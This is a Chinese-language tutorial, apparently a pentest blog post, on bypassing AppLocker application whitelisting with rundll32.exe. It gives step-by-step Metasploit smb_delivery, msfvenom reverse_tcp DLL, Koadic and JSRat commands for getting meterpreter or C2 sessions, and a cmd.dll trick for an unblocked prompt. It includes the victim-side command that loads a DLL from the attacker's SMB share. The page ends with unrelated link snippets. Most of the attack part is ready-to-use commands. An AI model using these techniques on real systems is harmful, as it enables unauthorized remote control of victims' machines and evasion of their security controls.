使用rundll32.exe绕过应用程序白名单(多种方法)
0x00 前言
DLL文件对于Window的操作系统非常重要,它还决定了自定义Windows的其他程序的运行。动态链接库(DLL)文件是一种文件类型,它向其他程序提供有关如何调用某些内容的指令。因此,多个软件甚至可以同时共享这样的DLL文件。尽管与.exe文件的格式相同,但DLL文件不能像.exe文件那样直接执行。dll文件扩展名可以是:.dll(动态链接库)、.ocx(ActiveX控件)、.cpl(控制面板)、.drv(设备驱动程序)
0x01 运行
当AppLocker使用时,DLL文件被分为多个部分。这使得DLL文件的运行变得简单快捷。每个部分都在运行时安装在主程序中。由于每个部分都不同且独立的,所以加载时间更快,并且仅在需要所述文件的功能时才完成。此功能还使升级更容易应用,而不影响其他部分。例如,您有一个字典程序,每个月都会添加新词,因此,对于这个程序,您所要做的就是更新它;而不需要为它安装一个完整的另一个程序。
1.优点
- 使用更少的资源
- 促进模块化架构
- 简化部署和安装
2.缺点
- 依赖DLL将升级到新版本
- 依赖DLL是固定的
- 依赖DLL将被早期版本覆盖
- 从计算机中删除依赖dll
0x02 使用DLL文件的AppLocker Bypass的不同方法
- Smb_Delivery
- MSFVenom
- Koadic
- 通过cmd.dll获取命令提示符
- JSRat
1.第一种方法:SMB Delivery
因此,我们的方法是使用smb_delivery。要使用此方法,请在kali中打开终端并键入以下命令:msfconsole
- use exploit/windows/smb/smb_delivery
- msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.107
- msf exploit(windows/smb/smb_delivery) > exploit
现在,通过Windows计算机中的rundll32.exe运行恶意代码以获取meterpreter会话
当上述payload执行时,它将为您提供一个在受害者PC上执行的命令; 以便获得会话。因此,在受害者PC的运行窗口中复制并粘贴指定的命令,如下图所示:
rundll32.exe \\192.168.1.107\ZtmW\test.dll,0
一旦执行该命令,您将拥有meterpreter会话。要访问会话类型如下所示:
- sessions
- sysinfo
2.第二种方法:MSFVenom
我们的第二种方法是通过MSFVenom。要使用此方法,请在kali的终端中键入以下命令:
- msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport= -f dll > .dll
创建payload后,在受害者PC的运行窗口中运行以下命令:
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\1.dll
同时,通过输入以下命令启动multi/handler以获取会话,输入命令:msfconsole
- msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
- msf exploit(multi/handler) > set lhost 192.168.1.107
- msf exploit(multi/handler) > set lport
- msf exploit(multi/handler) > exploit
3.第三种方法:Koadic
我们的下一个方法是使用Koadic框架。Koadic是一个Windows后期开发的rootkit,类似于其他渗透测试工具,如meterpreter和PowerShellEmpire。要了解更多关于Koadic的信息,请通过以下链接阅读我们关于上述框架的详细文章:https://www.hackingarticles.in/koadic-com-command-control-framework
一旦koadic启动并运行,输入以下命令:
- use stager/js/rundll32_js
- set SRVHOST 192.168.1.107
- run
运行exploit 将获得一个命令。将该命令从rundll32.exe复制到6.0中,并将其粘贴到受害者pc的命令提示符中。
一旦在cmd中运行了该命令,您将拥有自己的会话。如下图所示。
要访问会话,请输入以下命令:
- zombies
4.第四种方法:通过cmd.dll获取命令提示符
现在的难题是,如果命令提示在受害者的主机中被阻止,该怎么做?
如果命令行被阻止,那么Didier Stevens开发的脚本可以用来解决你的小问题。您可以在以下链接中找到它们:
http://didierstevens.com/files/software/cmd-dll_v0_0_4.zip
在上面的URL中,您将下载一个zip文件。解压缩该zip文件并使用以下命令在运行窗口中运行该文件:
- rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll
一旦运行该命令,您将获得一个未阻止的cmd。如下所示:
5.第五种方法:JSRat
我们攻击regsvr32的下一个方法是使用jsrat,你可以从GitHub下载它。这是另一个命令和控制框架,类似于koadic和Powershell Empire,仅为rundll32.exe和regsvr32.exe生成恶意程序。jsrat将创建一个Web服务器,在该Web服务器上,我们将找到.js文件。要使用此方法,请输入:
- /JSRat.py -i 192.168.1.107 -p
一旦JSRat开始运行,它将为您提供在浏览器中打开的链接。该网页将包含一个要在受害者主机上执行的代码
因此,请在浏览器中打开http://192.168.1.107/wtf链接。在那下面你会查看到恶意的代码,如下图所示:
在受害者PC的命令提示符中运行该代码,如下所示:
您将拥有一个会话,如下图所示:
0x03 总结
DLL文件是各种代码和过程的集合。这些文件有助于Windows程序准确执行。这些文件是为多个程序创建的,以便同时使用它们。这种技术有助于减少内存使用。因此,这些文件非常重要,并且要求Windows正常运行而不会给用户带来任何问题。因此,通过这些文件进行利用是非常有效和致命的。以上介绍的方法是不同的方法的利用。
使用rundll32.exe绕过应用程序白名单(多种方法)的更多相关文章
- 使用regsrv32.exe绕过应用程序白名单(多种方法)
0x00 regsvr简介 regsvr32表示Microsoft注册服务.它是Windows的命令行实用工具.虽然regsvr32有时会导致问题出现,但它是Windows系统文件中的一个重要文件.该 ...
- 使用mshta.exe绕过应用程序白名单(多种方法)
0x00 简介 很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分.HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“ ...
- 使用msiexec.exe绕过应用程序白名单(多种方法)
0x00 前言 在我们之前的文章中,我们讨论了“Windows Applocker策略 - 初学者指南”,因为它们为应用程序控制策略定义了AppLocker规则,以及如何使用它们.但今天您将学习如何绕 ...
- 使用msbuild.exe绕过应用程序白名单(多种方法)
一.MSbuild.exe简介 Microsoft Build Engine是一个用于构建应用程序的平台.此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和 ...
- 使用wmic.exe绕过应用程序白名单(多种方法)
一.Wmic.exe wmic实用程序是一款Microsoft工具,它提供一个wmi命令行界面,用于本地和远程计算机的各种管理功能,以及wmic查询,例如系统设置.停止进程和本地或远程运行脚本.因 ...
- 使用cmstp绕过应用程序白名单
默认情况下,AppLocker允许在文件夹中执行二进制文件,这是可以绕过它的主要原因.已经发现,这样的二进制文件可以很容易地用于绕过AppLocker和UAC.与Microsoft相关的二进制文件之一 ...
- GreatSct -应用程序白名单bypass工具
0x00 GreatSCT简介 GreatSCT目前得到了@ConsciousHacker的支持,该项目名为Great SCT(Great Scott).Great SCT是一个用于生成应用程序白 ...
- 项目适配iOS9遇到的一些问题及解决办法 ,以及URL 白名单配置方法
1.网络请求报错.升级Xcode 7.0发现网络访问失败.输出错误信息 The resource could not be loaded because the App Transport Secur ...
- 将非官方扩展程序加入chrome的白名单
参考来源:http://xclient.info/a/1ddd2a3a-d34b-b568-c0d0-c31a95f0b309.html com.google.Chrome.mobileconfig ...
随机推荐
- 用Solidity在Truffle上构建一个HelloWorld智能合约
原文地址:石匠的blog Truffle的环境安装在前文已经整理,这次用Solidity在Truffle写一个HelloWorld以太坊智能合约,并在testrpc上进行测试.当前的软件版本信息如下: ...
- Windows本地上传源码到Gitee远程仓库
1.下载Git,并安装. 安装时一路默认即可 https://git-scm.com/downloads 验证Git安装成功否 cmd 下输入,出现版本号即成功 git --version 2.生成s ...
- Django_杂
1.url带一些GET参数"url?a=1&b=2",通过QueryDict以及其urlencode()进行处理 from django.http.request impo ...
- java代码生成xml 报错:HIERARCHY_REQUEST_ERR: 尝试在不允许的位置插入节点。
document.appendChild(controlElement)好像只能append一个根节点
- Daily Scrum (2015/10/23)
这天晚上PM和我一起细算下来这周的确做了不少事儿.由于这天是周五,有的组员今晚有外出活动,有的组员忙了一周想休息一下.所以PM与我讨论提出今晚就布置些阅读的任务,给组员们一些自由分配的时间: 成员 今 ...
- 【Alpha】阶段第八次Scrum Meeting
[Alpha]阶段第八次Scrum Meeting 工作情况 团队成员 今日已完成任务 明日待完成任务 刘峻辰 编写按学院搜索课程接口 编写获得所有学院接口 赵智源 构建前测试点测试框架 编写alph ...
- 冲刺One之站立会议1
接到任务之后的第一天,大家都分头查找了一些相关资料,目的是最终确定用什么语言编写程序.李琦负责对Java实现聊天室进行调研.郭婷和朱慧敏负责对C#进行调研.李敏和刘子晗负责对QT的实现进行调研.并讨论 ...
- shiro+springmvc 都使用缓存
基于涛哥shiro案例16 的这时候要配置service方法的缓存 在spring-config.xml添加 <context:annotation-config /> <cache ...
- 经验分享(Android开发)
以前对于Android开发一点了解都没有,当然,以前觉得是一件很高大上的事情,而且是我没有能力去做的工作,但是在这个小组合作开发Android后,我觉得我有了很大的进步,当然我的进步也是Android ...
- Java程序设计实践
先放上需求同时也是作业的地址:http://www.cnblogs.com/xinz/p/7417960.html 这是我第一次接触一个完整的项目的开发,在这里分享一下整个项目(或者作业?)的设计过程 ...